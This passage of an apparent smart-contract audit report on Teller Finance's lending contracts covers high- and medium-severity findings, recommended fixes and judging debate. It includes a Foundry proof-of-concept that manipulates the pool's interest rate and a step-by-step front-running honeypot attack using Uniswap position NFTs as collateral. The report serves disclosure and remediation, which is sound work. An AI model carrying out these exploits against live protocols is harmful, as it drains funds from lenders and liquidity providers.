LenderCommitmentGroup_Smart::_getCollateralTokensAmountEquivalentToPrincipalTokens().

```
function _getCollateralTokensAmountEquivalentToPrincipalTokens(
    uint256 principalTokenAmountValue,
    uint256 pairPriceWithTwap,
    uint256 pairPriceImmediate,
    bool principalTokenIsToken0
) internal view returns (uint256 collateralTokensAmountToMatchValue) {
    if (principalTokenIsToken0) {
        //token 1 to token 0 ?
        uint256 worstCasePairPrice = Math.min( //@audit is incorrect. should be
 ↪  max
            pairPriceWithTwap,
            pairPriceImmediate
        );
        collateralTokensAmountToMatchValue = token1ToToken0(
            principalTokenAmountValue,
            worstCasePairPrice //if this is lower, collateral tokens amt will be
 ↪  higher
        );
    } else {
        //token 0 to token 1 ?
        uint256 worstCasePairPrice = Math.max(
            pairPriceWithTwap,
            pairPriceImmediate
        );
        collateralTokensAmountToMatchValue = token0ToToken1(
            principalTokenAmountValue,
            worstCasePairPrice //if this is lower, collateral tokens amt will be
 ↪  higher
        );
    }
}
```

Tool used

Manual Review

Vscode

Foundry

Recommendation

Switch the `min` and `max` usage in `LenderCommitmentGroup_Smart::_getCollateralTokensAmountEquivalentToPrincipalTokens()`.

```
function _getCollateralTokensAmountEquivalentToPrincipalTokens(
    uint256 principalTokenAmountValue,
    uint256 pairPriceWithTwap,
    uint256 pairPriceImmediate,
    bool principalTokenIsToken0
) internal view returns (uint256 collateralTokensAmountToMatchValue) {
    if (principalTokenIsToken0) {
        //token 1 to token 0 ?
        uint256 worstCasePairPrice = Math.max(
            pairPriceWithTwap,
            pairPriceImmediate
        );
        collateralTokensAmountToMatchValue = token1ToToken0(
            principalTokenAmountValue,
            worstCasePairPrice //if this is lower, collateral tokens amt will be
↪   higher
        );
    } else {
        //token 0 to token 1 ?
        uint256 worstCasePairPrice = Math.min(
            pairPriceWithTwap,
            pairPriceImmediate
        );
        collateralTokensAmountToMatchValue = token0ToToken1(
            principalTokenAmountValue,
            worstCasePairPrice //if this is lower, collateral tokens amt will be
↪   higher
        );
    }
}
```

Discussion

ethereumdegen

Thanks this one had been infuriating and that is why there were ? marks - really need more tests for this

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/teller-protocol/teller-protocol-v2-audit-2024/pull/25

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-8: Interest rate in `LenderCommitmentGroup_Smart` may be easily manipulated by depositing, taking a loan and withdrawing

Source:
https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/110

Found by

0x3b, 0x73696d616f, 0xAnmol, Bandit, Bauer, BoRonGod, KupiaSec, OMEN, kennedy1030, merlin, no

Summary

`LenderCommitmentGroup_Smart` gets the interest directly from the utilization ratio, which may be gamed and a loan may be taken with lower interest rate at no risk.

Vulnerability Detail

The utilization ratio is the ratio between ongoing loans and principal deposited (plus interest and/minus liquidation premiums). As the values used for its calculations are the most recent ones and there is no constraint on depositing, borrowing or withdrawing in different periods, it is easy for borrowers to pick much better interest rates. The attack can be carried out as follows:

1. Deposit principal by calling `LenderCommitmentGroup_Smart::addPrincipalToCommitmentGroup()`.
2. Take the loan out with the reduced interest rate.
3. Withdraw the shares corresponding to the borrowed principal. This attack was simulated in the following POC, which should be inserted in the test file in issue 'Drained lender due to LenderCommitmentGroup_Smart::acceptFundsForAcceptBid() _collateralAmount by STANDARD_EXPANSION_FACTOR multiplication':

```
function test_POC_bypassInterestRate() public {
    uint256 principalAmount = 1000e18;
    deal(address(DAI), user, principalAmount);
    vm.startPrank(user);

    // add principal to lender to get shares
    DAI.approve(address(lender), principalAmount);
    uint256 shares = lender.addPrincipalToCommitmentGroup(principalAmount, user);
    // approve the forwarder
    tellerV2.approveMarketForwarder(marketId, address(smartCommitmentForwarder));

    // borrow the principal
    uint256 collateralAmount = 1e18;
    uint256 loanAmount = principalAmount / 2;
    deal(address(WETH), user, collateralAmount);
    WETH.approve(address(collateralManager), collateralAmount);
    uint256 bidId = smartCommitmentForwarder.acceptCommitmentWithRecipient(
        address(lender),
        loanAmount,
        collateralAmount,
        0,
        address(WETH),
        user,
        0,
        2 days
    );
    vm.stopPrank();

    principalAmount = 500e18;
    deal(address(DAI), attacker, principalAmount);

    // attacker deposits principal, takes a loan and withdraws principal
    // getting a much better interest rate

    vm.startPrank(attacker);

    // add principal to lender to get shares
    // if the line below is commented, interest rate would be 400 instead of 266
    DAI.approve(address(lender), principalAmount);
    shares = lender.addPrincipalToCommitmentGroup(principalAmount, attacker);

    // approve the forwarder
    tellerV2.approveMarketForwarder(marketId, address(smartCommitmentForwarder));

    assertEq(lender.getMinInterestRate(), 266);

    // borrow the principal
    collateralAmount = 1e18;
    loanAmount = principalAmount;
    deal(address(WETH), attacker, collateralAmount);
    WETH.approve(address(collateralManager), collateralAmount);
    bidId = smartCommitmentForwarder.acceptCommitmentWithRecipient(
        address(lender),
        loanAmount,
        collateralAmount,
        0,
        address(WETH),
        attacker,
        lender.getMinInterestRate(),
        2 days
    );

    // attacker withdraws the DAI deposit
    // poolSharesToken are burned incorrectly before calculating exchange rate
    // so this must be fixed or exchange rate will be 1
    vm.mockCall(
        address(lender.poolSharesToken()),
        abi.encodeWithSignature("burn(address,uint256)", attacker, shares),
        ""
    );
    lender.burnSharesToWithdrawEarnings(shares, attacker);

    // all principal was withdrawn for loans but attacker got a decent interest
    ↪   rate
    assertEq(lender.getPrincipalAmountAvailableToBorrow(), 0);

    vm.stopPrank();
}
```

Impact

Less yield for LPs due to the borrower getting much better interest rates for free.

Code Snippet

LenderCommitmentGroup_Smart::getPoolUtilizationRatio()

```
function getPoolUtilizationRatio() public view returns (uint16) {

    if (getPoolTotalEstimatedValue() == 0) {
        return 0;
    }

    return uint16(  Math.min(
        getTotalPrincipalTokensOutstandingInActiveLoans()  * 10000  /
        getPoolTotalEstimatedValue() , 10000  ));
}
```

Tool used

Manual Review

Vscode

Foundry

Recommendation

LPs could require a small delay to burn their shares to prevent abuses such as this one.

Discussion

ethereumdegen

Similar soln as #44 , #48

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/teller-protocol/teller-protocol-v2-audit-2024/pull/20

nevillehuang

I believe this issue, #44 and #48 are duplicates. The root cause of allowing sandwiching via immediate deposit (`addPrincipalToCommitmentGroup`) - withdrawals (`burnSharesToWithdrawEarnings`) cycles results in 3 impacts:

1. Allow reduction of interest rates for borrowing due to a increase in `totalPrincipalTokensCommitted` from deposits. (Sandwich borrowing by front-running with a deposit and then back-running with a withdraw)
2. Extract interest from an increase in `totalInterestCollected` from deposits (Sandwich repayment/liquidation by front-running with a deposit and then back-running with a withdraw)
3. Avoid loss from `tokenDifferenceFromLiquidations` decrease from liquidations (Sandwich liquidation by front-running with a withdraw and then back-running with a deposit to reenter)

The same fix of a withdrawal delay was applied to all issues.

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-9: liquidateDefaultedLoanWithIncentive can be gamed to avoid paying loans interest

Source:
https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/121

Found by

0xDjango, 0xrobsol, EgisSecurity, jovi, no

Summary

The amountDue calculation at the liquidateDefaultLoanWithIncentive function at the LenderCommitmentGroup contract calls getAmountOwedForBid with a false argument, which means it considers the principal lent as owed but not the interest that was accrued during the borrow period. This can be gamed by malicious users to avoid paying loans interest.

Vulnerability Detail

Take a look at the getAmountOwedForBid function:

```
function getAmountOwedForBid(uint256 _bidId, bool _includeInterest)
        public
        view
        virtual
        returns (uint256 amountOwed_)
    {
        Payment memory amountOwedPayment = ITellerV2(TELLER_V2)
            .calculateAmountOwed(_bidId, block.timestamp);

        amountOwed_ = _includeInterest
            ? amountOwedPayment.principal + amountOwedPayment.interest
            : amountOwedPayment.principal;
    }
```

Notice it will only return the principal amount if a false boolean is passed as the second argument of a call to it.

At the liquidateDefaultedLoanWithIncentive function, this is exactly what happens:

```
function liquidateDefaultedLoanWithIncentive(
        uint256 _bidId,
        int256 _tokenAmountDifference
    ) public bidIsActiveForGroup(_bidId) {
        uint256 amountDue = getAmountOwedForBid(_bidId, false);
        ...
}
```

This means the amountDue does not include interest.

However, this is not on par with TellerV2 contract, as its liquidation function does repay both the owed principal and the interest. This can be seen at the following code snippet:

```
function _liquidateLoanFull(uint256 _bidId, address _recipient)
        internal
        acceptedLoan(_bidId, "liquidateLoan")
    {
...
_repayLoan(
            _bidId,
            Payment({ principal: owedPrincipal, interest: interest }),
            owedPrincipal + interest,
            false
        );
...
}
```

Impact

Users can arbitrarily decide to liquidate repaying interest or not back to Teller lenders by liquidating via the TellerV2 contract or via LenderCommitmentGroups contracts. LenderCommitmentGroups's liquidation function spreads bad debt to the whole lending pool while benefitting the liquidator.

Code Snippet

2024-04-teller-finance/teller-protocol-v2-audit-2024/packages/contracts/contracts/LenderCommitmentForwarder/extensions/LenderCommitmentGroup/LenderCommitmentGroup_Smart.sol at main · sherlock-audit/2024-04-teller-finance (github.com)

2024-04-teller-finance/teller-protocol-v2-audit-2024/packages/contracts/contracts/LenderCommitmentForwarder/extensions/LenderCommitmentGroup/LenderCommitmentGroup_Smart.sol at main · sherlock-audit/2024-04-teller-finance (github.com)

2024-04-teller-finance/teller-protocol-v2-audit-2024/packages/contracts/contracts/TellerV2.sol at main · sherlock-audit/2024-04-teller-finance (github.com)

Tool used

Manual Review

Recommendation

Ensure the calculation of amountDue accounts for interest when repaying a liquidated bid. The following change could be done at the code:

```
uint256 amountDue = getAmountOwedForBid(_bidId, true);
```

Discussion

ethereumdegen

Yes we will fix this - we can just set that to a 'true' and make sure we do not double count interest (remove totalPrincipalTokensRepaid +=) as per the PR for that separate issue

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/teller-protocol/teller-protocol-v2-audit-2024/pull/34/files

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-10: `_sendOrEscrowFunds` will brick LCG funds causing insolvency

Source:
https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/126

Found by

0x3b, 0x73696d616f, 0xadrii, Bauer, EgisSecurity, bughuntoor, merlin

Summary

LenderCommitmentGroup (LCG) will have its funds stuck if `transferFrom` inside _sendOrEscrowFunds reverts for some reason. This will increase the share price but not transfer any funds, causing insolvency.

Vulnerability Detail

_sendOrEscrowFunds has `try` and `catch`, where `try` attempts `transferFrom`, and if that fails, `catch` calls deposit on the **EscrowVault**. The try is implemented in case `transferFrom` reverts, ensuring the repay/liquidation call does not. If `transferFrom` reverts due to any reason, the tokens will be stored inside **EscrowVault**, allowing the lender to withdraw them at any time.

However, for LCG, if such a deposit happens, the tokens will be stuck inside **EscrowVault** since LCG lacks a withdraw implementation. The share price will still increase, as the next `if` will pass, but this will cause more damage to the pool. Not only did it lose capital, but it also became insolvent.

```
ILoanRepaymentListener(loanRepaymentListener).repayLoanCallback{gas: 80000}(
    _bidId,
    _msgSenderForMarket(bid.marketplaceId),
    _payment.principal,
    _payment.interest
)
```

The pool is insolvent because the share value has increased, but the assets in the pool have not, meaning the last few LPs won't be able to withdraw.

Impact

Fund loss for LCG and insolvency for the pool, as share price increases, but assets do not.

Code Snippet

```
IEscrowVault(escrowVault).deposit(
    lender,
    address(bid.loanDetails.lendingToken),
    paymentAmountReceived
);
```

Tool used

Manual Review

Recommendation

Implement the withdraw function inside LCG, preferably callable by anyone.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/teller-protocol/teller-protocol-v2-audit-2024/pull/19

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-11: If `repayLoanCallback` address doesn't implement `repayLoanCallback` try/catch won't go into the catch and will revert the tx

Source:
https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/178

Found by

EgisSecurity

Summary

If `repayLoanCallback` address doesn't implement `repayLoanCallback` try/catch won't go into the catch and will revert the tx

Vulnerability Detail

If a contract, which is set as `loanRepaymentListener` from a lender doesn't implement `repayLoanCallback` transaction will revert and `catch` block won't help. This is serious and even crucial problem, because a malicous lender could prevent borrowers from repaying their loans, as `repayLoanCallback` is called inside the only function used to repay loans. This way he guarantees himself their collateral tokens.

Converastion explaining why try/catch helps only if transaction is reverted in the target, contrac, which is not the case here

```
if (loanRepaymentListener != address(0)) {
            try
                ILoanRepaymentListener(loanRepaymentListener).repayLoanCallback{
                    gas: 80000
                }( //limit gas costs to prevent lender griefing repayments
                    _bidId,
                    _msgSenderForMarket(bid.marketplaceId),
                    _payment.principal,
                    _payment.interest
                )
            {} catch {}
        }
```

Impact

Lenders can stop borrowers from repaying their loans, forcing their loans to default.

Code Snippet

https://github.com/sherlock-audit/2024-04-teller-finance/blob/defe55469a25767
35af67483acf31d623e13592d/teller-protocol-v2-audit-2024/packages/contracts/
contracts/TellerV2.sol#L953

Tool used

Manual Review

Recommendation

Maybe use a wrapper contract, which is trusted to you and is internally calling the `repayLoanCallback` on the untrusted target.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/teller-protocol/teller-protocol-v2-audit-2024/pull/31

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-12: Not transferring collateral when submitting bids allows malicious users to create honeypot-style attacks

Source:
https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/219

The protocol has acknowledged this issue.

Found by

0xadrii

Summary

Currently, Teller does not require collateral to be transferred when a bid request with collateral is submitted. Instead, the collateral is pulled from the borrower when the bid is accepted by the lender in a different transaction. This pattern allows attackers to leverage certain collaterals to perform honeypot-style attacks.

Vulnerability Detail

The current flow to create a bid in Teller putting some collateral consists in the following steps:

1. Call `submitBid` with an array of `Collateral`. This creates the bid request, but **does not transfer the collateral to Teller**. Instead, Teller only check that Teller performs is checking the collateral balance of the borrower to guarantee that he actually owns the collateral assets.
2. After submitting the bid request, an interested lender can lend his assets to the borrower by calling `lenderAcceptBid`. This is the step where collateral will actually be transferred from the borrower, as shown in the following code snippet:

```
// TellerV2.sol

function lenderAcceptBid(uint256 _bidId)
        external
        override
        pendingBid(_bidId, "lenderAcceptBid")
        whenNotPaused
        returns (
            uint256 amountToProtocol,
            uint256 amountToMarketplace,
            uint256 amountToBorrower
        )
    {
        ...

        // Tell the collateral manager to deploy the escrow and pull funds
↪   from the borrower if applicable
        collateralManager.deployAndDeposit(_bidId);

        ...

    }
```

Although this pattern (checking the borrower's collateral balance in step 1 to ensure he actually owns the assets) might look like a correct approach, it's actually incorrect and can lead to honeypot-style attacks when specific NFTs are used as collateral.

Consider the following scenario: a malicious borrower holds a Uniswap V3 liquidity position NFT with liquidity worth 10 ETH. He decides to trick borrowers in Teller, and submits a loan request asking for only 1 ETH (a very attractive offer, given that on default, the lender will gain access to 10 ETH worth of collateral):

1. Borrower creates the borrow request by calling `submitBid`. `submitBid` then checks and guarantees that the borrower indeed holds the Uniswap liquidity position.
2. After some time, a lender sees the borrow request and decides that they want to lend their assets to the borrower by calling `lenderAcceptBid`, as the Uniswap liquidity position (which is worth 10 ETH) is attractive enough to cover the possibility of borrowed assets never being repaid.
3. The malicious borrower then frontruns the lender transaction and decreases the Uniswap liquidity position to nearly 0 (because collateral has not been transferred when submitting the bid request, the NFT owner is still the borrower, hence why liquidity can be decreased by him).
4. After decreasing the Uniswap position liquidity, the lender's `lenderAcceptBid` transaction actually gets executed. Uniswap's liquidity position NFT gets transferred to Teller from the borrower, and the borrowed funds are transferred to the borrower.

As we can see, not transferring the collateral when the bid request is submitted can lead to these type of situations. Borrowers can easily trick lenders, making them believe that their loaned assets are backed by an NFT worth an X amount, when in reality the NFT will be worth nearly 0 when the transactions actually get executed.

Impact

High. Attackers can easily steal all the borrowed assets from lenders with no collateral cost at all, given that the collateral NFT will be worth 0 when the borrow is actually executed.

Code Snippet

https://github.com/sherlock-audit/2024-04-teller-finance/blob/main/teller-protocol-v2-audit-2024/packages/contracts/contracts/TellerV2.sol#L334

https://github.com/sherlock-audit/2024-04-teller-finance/blob/main/teller-protocol-v2-audit-2024/packages/contracts/contracts/TellerV2.sol#L521

Tool used

Manual Review

Recommendation

One way to mitigate this type of attack is to force users to transfer their collateral to Teller when a borrow request is submitted. This approach would easily mitigate this issue, as users won't be able to perform any action over the collateral NFTs as they won't be the owners. In the situation where the loan is never accepted and the bidExpirationTime is reached, borrowers should be able to withdraw their collateral assets.

Discussion

nevillehuang

request poc

Not sure if we can call this an issue, because the lender would have to take the risk before accepting such NFTs to be used as collateral. They can simply choose not to do so to avoid the exploit.

sherlock-admin4

PoC requested from @0xadrii

Requests remaining: **14**

0xadrii

Hey @nevillehuang ,

I understand your reasoning, however I believe that this must be considered as an issue due to the following reasons.

The root cause of the issue is inherently bound to the flawed submit-accept loan creation approach used in Teller. As mentioned in my report, the main problem is the process in which new loans are created. Currently this process involves two separate steps: 1. A borrower submitting a loan request. In this step, only the collateral balance of the borrower is checked, but collateral is never transferred to the protocol. Not transferring the collateral in this step is the main root cause of the issue and what allows the attack vector I mentioned to take place, given that collateral is still held in the borrower's address until the loan is accepted by the lender. 2. A lender accepting the loan request. It is in this step where the collateral is actually transferred.

So there's an invariant here that must always hold: the collateral value before and after a lender accepts a loan should only be subject to changes derived from market conditions, and nothing else. This invariant must hold for any type of collateral supported in Teller. Usually, changing the value of a collateral is not possible because the value of the assets simply can't be modified and is given by the market. However, Uniswap liquidity positions are a type of asset whose value isn't only derived from the market, but also can actually be changed by adding or substracting liquidity to/from them. This is a risk that must be considered in Teller and can't be overlooked, given that any type of collateral is accepted in the protocol (Uniswap liquidity positions included, which are likely to be used as collateral in a real life scenario).

In addition, all loans must be accepted by lenders given the peer-to-peer nature of Teller, so, as you mentioned, they will always be taking a risk when accepting loans (the risk that anyone would incur when interacting with a DEFI protocol). However, the type of risk shown by the attack I described should not be expected by the lenders. It is extremely probable that they will be willing to take these kind of loans given that they will assume (as it should be with all collaterals) that the value of the collateral before and after accepting the loan won't change drastically and that they won't be exposed to an attack such as the one described.

Let me know if you still need the poc and I'll be happy to provide it!

ethereumdegen

This was a design decision made by leadership years ago. We opted to NOT transfer collateral in on submit bid in order to allow for the same collateral to be used across multiple loans. The recommendation to our users is to not accept collateral that can change (use a bored ape, dont use a Uni liq pool nft) or make sure that token is wrapped (wrap the Liq Pool NFT) so it cant be attacked in that way at the last moment.

Thank you for your research and report.

0xadrii

Hey @ethereumdegen , I get your point. However, as per

Sherlock’s hierarchy of truth, this issue must be accepted.

Teller’s contest page explicitly mentions that any token is supported in the protocol (from Teller’s first contest): *"Any tokens are acceptable and this is one area where research is needed to ensure that functionality is not taken advantage of and that assumptions are not broken in the protocol. This includes tokens (principal or collateral) which attempt to use re-entrancy to break assumptions."* The only restriction is for ERC20 tokens, where only the ones accepted in Uniswap are supported.

Moreover, Teller’s documentation explicitly mentions that *"any ERC-721, ERC-721A (NFTs) can be used"*.

I understand that you don't want to fix it, but as per Sherlock's rules, this must be accepted as an issue given that both the README and documentation mention that any NFT could be used.

nevillehuang

@ethereumdegen Was there public information stating this recommendation/design choice on teller docs?

spacegliderrrr

The lender has to **manually** accept every loan they'd like to take. They must acknowledge all the risks that come with it. UniV3 positions do not have a stable price, hence any lender willing to take such position must know the risk that comes with it.

Even if collateral was transferred prior to bid's accept, there would still be ways for borrower to lower its value. E.g. if borrower offers a 1 WETH position as collateral in WETH/USDC pool at 1:1 price range, borrower would still be able to decrease position's value after transferring it, by simply swapping 1 USDC for it (making the collateral worth 1 USDC total in the same manner of a 'honey-pot' attack)

0xadrii

You are right, the lender needs to acknowledge all the risks, but these are market risks, not risks derived from a wrong smart contract implementation.

Obviously, users interacting with a lending protocol should be aware that market conditions can affect them, and that interacting with certain assets might be more risky than others. However, when the attack comes from an issue in the smart contracts you are interacting with (as the one I shown), rather than market conditions, the user must not be responsible for it. Otherwise, we could say that users interacting with a protocol that appraises Uniswap positions wrongly should be aware of the fact that these type of risks are possible.

Besides this, the honey-pot attack you mention is completely different to the attack that I reported. In your attack, an uncommon and unreasonable price range in the pool is required. This would already be a huge red flag for the borrower. On the other hand, the attack I detailed is possible with **any price range in any Uniswap pool**, which would give the lender a completely different sense on how legit the loan might be if a proper range is used. But even if we consider that a user would be willing to accept such a loan with a weird price range, the risk should still be mitigated instead of leaving the vulnerability in the protocol. For example, lenders could pass a minimum expected collateral value when accepting a loan. If the collateral is detected to be a Uniswap position, then the price of the position could be calculated and compared with the minimum required value. This would easily prevent these type of attacks. But saying that the vulnerability should be left in the contract is not a good way to protect the protocol.

As @ethereumdegen mentioned, they will be alerting their users recommending them to use wrappers or not interact with these types of assets. But as detailed in my comment, this should have been explicitly mentioned in the contest README/protocol documentation. However, both the contest README and documentation clearly stated that **any type of NFT will be accepted as collateral**, so this attack must be accepted as an issue.

nevillehuang

Since teller intends to support all types of ERC721 and it was not explicitly mentioned that this was a design decision/known risk for such NFTs I believe it to be a valid issue. The design choice is suboptimal and **does** imply a loss of funds for lenders when such NFTs are utilized, since they can accept such bids with when such collateral are used (details at time when bids are accepted is accurate). This is exacerbated by the fact that teller has no value-based liquidation in place.

Issue M-1: `_repayLoan` now allows for overpaying of loan and could cause DoS within `LenderCommitmentGroup_Smart`

Source:
https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/32

The protocol has acknowledged this issue.

Found by

bughuntoor

Summary

`_repayLoan` now allows for overpaying of loan

Vulnerability Detail

Let's look at the code of `_repayLoan`

```
function _repayLoan(
    uint256 _bidId,
    Payment memory _payment,
    uint256 _owedAmount,
    bool _shouldWithdrawCollateral
) internal virtual {
    Bid storage bid = bids[_bidId];
    uint256 paymentAmount = _payment.principal + _payment.interest;

    RepMark mark = reputationManager.updateAccountReputation(
        bid.borrower,
        _bidId
    );

    // Check if we are sending a payment or amount remaining
    if (paymentAmount >= _owedAmount) {
        paymentAmount = _owedAmount;

        if (bid.state != BidState.LIQUIDATED) {
            bid.state = BidState.PAID;
        }

        // Remove borrower's active bid
        _borrowerBidsActive[bid.borrower].remove(_bidId);
        // If loan is is being liquidated and backed by collateral, withdraw and
↪   send to borrower
        if (_shouldWithdrawCollateral) {
            //    _getCollateralManagerForBid(_bidId).withdraw(_bidId);
            collateralManager.withdraw(_bidId);
        }

        emit LoanRepaid(_bidId);
    } else {
        emit LoanRepayment(_bidId);
    }

    _sendOrEscrowFunds(_bidId, _payment); //send or escrow the funds
```

In the case where the user attempts to overpay, `paymentAmount` is adjusted to `owedAmount`. However, the `_payment` memory struct remains the same. Meaning that if the user has inputted more than supposed to, it will go through, causing an overpay.

To furthermore make it worse, this would allow for overpaying loans within `LenderCommitmentGroup_Smart`. This is problematic as it would make the following function revert.

```
function getTotalPrincipalTokensOutstandingInActiveLoans()
    public
    view
    returns (uint256)
{
    return totalPrincipalTokensLended - totalPrincipalTokensRepaid;
}
```

Since the function is called when a user attempts to borrow, this would cause permanent DoS for borrows within the `LenderCommitmentGroup_Smart`

Impact

Users accidentally overpaying Permanent DoS within `LenderCommitmentGroup_Smart`

Code Snippet

https://github.com/sherlock-audit/2024-04-teller-finance/blob/main/teller-protocol-v2-audit-2024/packages/contracts/contracts/TellerV2.sol#L867

Tool used

Manual Review

Recommendation

adjust the memory struct

Discussion

ethereumdegen

I dont think this is an issue ?

Look at this LOC :

paymentAmount = _owedAmount;

spaceglidderrrr

@ethereumdegen yeah, but `paymentAmount` is no longer passed to the `_sendOrEscrowFunds` - the unchanged `_payment` struct is passed.

nevillehuang

This seems valid per computations here, but would have been good to see a poc if it actually goes through. Will be leaving valid medium. Seems like the only possible trigger is through here.

Issue M-2: Missing `__Ownable_init()` call in `LenderCommitmentGroup_Smart::initialize()`

Source:
https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/35

Found by

0x73696d616f, 0xAnmol, Afriaudit, AuditorPraise, EgisSecurity, MohammedRizwan

Summary

`__Ownable_init()` is not called in `LenderCommitmentGroup_Smart::initialize()`, which will make the contract not have any owner.

Vulnerability Detail

`LenderCommitmentGroup_Smart::initialize()` does not call `__Ownable_init()` and will be left without owner.

Impact

Inability to pause and unpause borrowing in `LenderCommitmentGroup_Smart` due to having no owner, as these functions are `onlyOwner`.

Code Snippet

https://github.com/sherlock-audit/2024-04-teller-finance/blob/main/teller-protocol-v2-audit-2024/packages/contracts/contracts/LenderCommitmentForwarder/extensions/LenderCommitmentGroup/LenderCommitmentGroup_Smart.sol#L158

Tool used

Manual Review

Vscode

Recommendation

Modify `LenderCommitmentGroup_Smart::initialize()` to call `__Ownable_init()`:

```
function initialize(
    ...
) external initializer returns (address poolSharesToken_) {
    __Ownable_init();
}
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/teller-protocol/teller-protocol-v2-audit-2024/pull/13

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-3: `LenderCommitmentGroup_Smart` does not use `mulDiv` when converting between token and share amounts, possibly leading to DoS or loss of funds

Source:
https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/39

Found by

0x73696d616f

Summary

`LenderCommitmentGroup_Smart` calculates the exchange rate and `_valueOfUnderlying()` without using `mulDiv` from `OpenZeppelin`, which might make it overflow, leading to DoS and possible loss of funds.

Vulnerability Detail

`sharesExchangeRate()` is calculated as

```
rate_ =
            (poolTotalEstimatedValue  *
                EXCHANGE_RATE_EXPANSION_FACTOR) /
            poolSharesToken.totalSupply();`
```

which overflows if `poolTotalEstimatedValue > (2^256 - 1) / 1e36`. The readme mentions that any `ERC20` token that is supported by a Uniswap pool is supported, which means that if a token has decimals of, for example, `1e36`, the calculation above may easily overflow. In this case, `rate_ = realPoolTotalEstimatedValue * 1e36 * 1e36 = realPoolTotalEstimatedValue * 1e72`, where `realPoolTotalEstimatedValue` is the number of tokens without the decimals part. Thus, the number of tokens needed to overflow would be `(2^256 - 1) / 1e72 = 115792`, which at a price of $1 is just `115792 USD`.

This bug is also present in `_valueOfUnderlying()`, which returns `value_ = (amount * EXCHANGE_RATE_EXPANSION_FACTOR) / rate;`.

Impact

DoS of `LenderCommitmentGroup_Smart`, possibly with stuck tokens if users call `addPrincipalToCommitmentGroup()` with smaller amount at a time that do not cause an overflow when calculating `sharesExchangeRate()` and `_valueOfUnderlying()`, but would overflow when withdrawing in the calculation of `sharesExchangeRate()`, as `poolTotalEstimatedValue` could have increased to the value that overflows.

Code Snippet

sharesExchangeRate()

```
function sharesExchangeRate() public view virtual returns (uint256 rate_) {
    ...
    rate_ =
        (poolTotalEstimatedValue  *
            EXCHANGE_RATE_EXPANSION_FACTOR) /
        poolSharesToken.totalSupply();
}
```

_valueOfUnderlying()

```
function _valueOfUnderlying(uint256 amount, uint256 rate)
    internal
    pure
    returns (uint256 value_)
{
    ...
    value_ = (amount * EXCHANGE_RATE_EXPANSION_FACTOR) / rate;
}
```

Tool used

Manual Review

Vscode

Recommendation

Use `Math::mulDiv` from OpenZeppelin.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/teller-protocol/teller-protocol-v2-audit-2024/pull/14

nevillehuang

request poc

Hi watson could you provide me a realistic current token that is supported on uniswapV3 that can cause this type of overflow?

sherlock-admin4

PoC requested from @0x73696d616f

Requests remaining: **7**

0x73696d616f

Hi @nevillehuang, found the following token that has 32 decimals and is on a Uniswap pool, BBC. `(2^256-1) / 1e36 / 1e32` is approx `1.15e9`, which means that if the token is worth $0.01, it would require 11.5 million USD in TVL to lock the contract due to overflow.

spacegliderrrr

Escalate

Should be invalid. Such high token decimals are unrealistic. Even if the recommendation is followed, it can always be said that protocol can't operate with 60 decimals tokens. Also, the given example is a random inactive token with a total of 32 transactions.

sherlock-admin3

> Escalate
>
> Should be invalid. Such high token decimals are unrealistic. Even if the recommendation is followed, it can always be said that protocol can't operate with 60 decimals tokens. Also, the given example is a random inactive token with a total of 32 transactions.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

0x73696d616f

60 decimals is not realistic, but 30ish is. We do not know the reason for the 32 transactions but the token exists and proves my point.

spacegliderrrr

The way to determine what is realistic is by observing what is used in practice. There is no token with remarkable activity with `30-ish` decimals. You're purely speculating.

0x73696d616f

> There is no token with remarkable activity with 30-ish decimals.

You do not have the data to back this up, and I have found one without recent activity that proves this.

> You're purely speculating.

Again, we do not know why the token died, but it still proves my point. Anyway here is another token with 27 decimals. `(2^256-1) / 1e36 / 1e27 = 1e14`. `3/30 = 10 %`, which means the token is `10%` close to the 30 decimals mark. If the token price crashes, given some TVL, it will overflow. Also, with this token, someone may create an ERC4626 token with `_decimalsOffset()` of at least 3 and it would reach the 30 decimals mark, again, proving my point. (`_decimalsOffset()` in ERC4626 tokens is a common way to mitigate inflation attacks and such by increasing the precision of the shares in relation to the assets). OpenZeppelin uses a `_decimalsOffset()` of 3 in their example, so this is a realistic value (the delta in the images).

This issue is valid as it was proved that it overflows for some tokens.

nevillehuang

Since an appropriate example is provided that corresponds to the contest details, I believe this issue should remain valid.

cvetanovv

The protocol has written in the Readme that they will use any token compatible with Uniswap V3.

@0x73696d616f has given a valid example of how using a token with more decimals(27+) can lead to DoS.

Planning to reject the escalation and leave the issue as is.

Evert0x

Result: Medium Unique

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- spacegliderrrr: rejected

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-4: `LenderCommitmentGroup_Smart_test::addPrincipalToCommitmentGroup/burnSharesToWithdrawEarnings()` are vulnerable to slippage attacks

Source:
https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/64

Found by

0x73696d616f, 0xlucky, Bandit, BoRonGod, EgisSecurity, bughuntoor, no, pkqs90, smbv-1923, tjudz

Summary

`LenderCommitmentGroup_Smart_test::addPrincipalToCommitmentGroup()` and `LenderCommitmentGroup_Smart_test::burnSharesToWithdrawEarnings()` are vulnerable to slippage attacks and should set slippage protection, contrarily to the claims of the protocol in the readme.
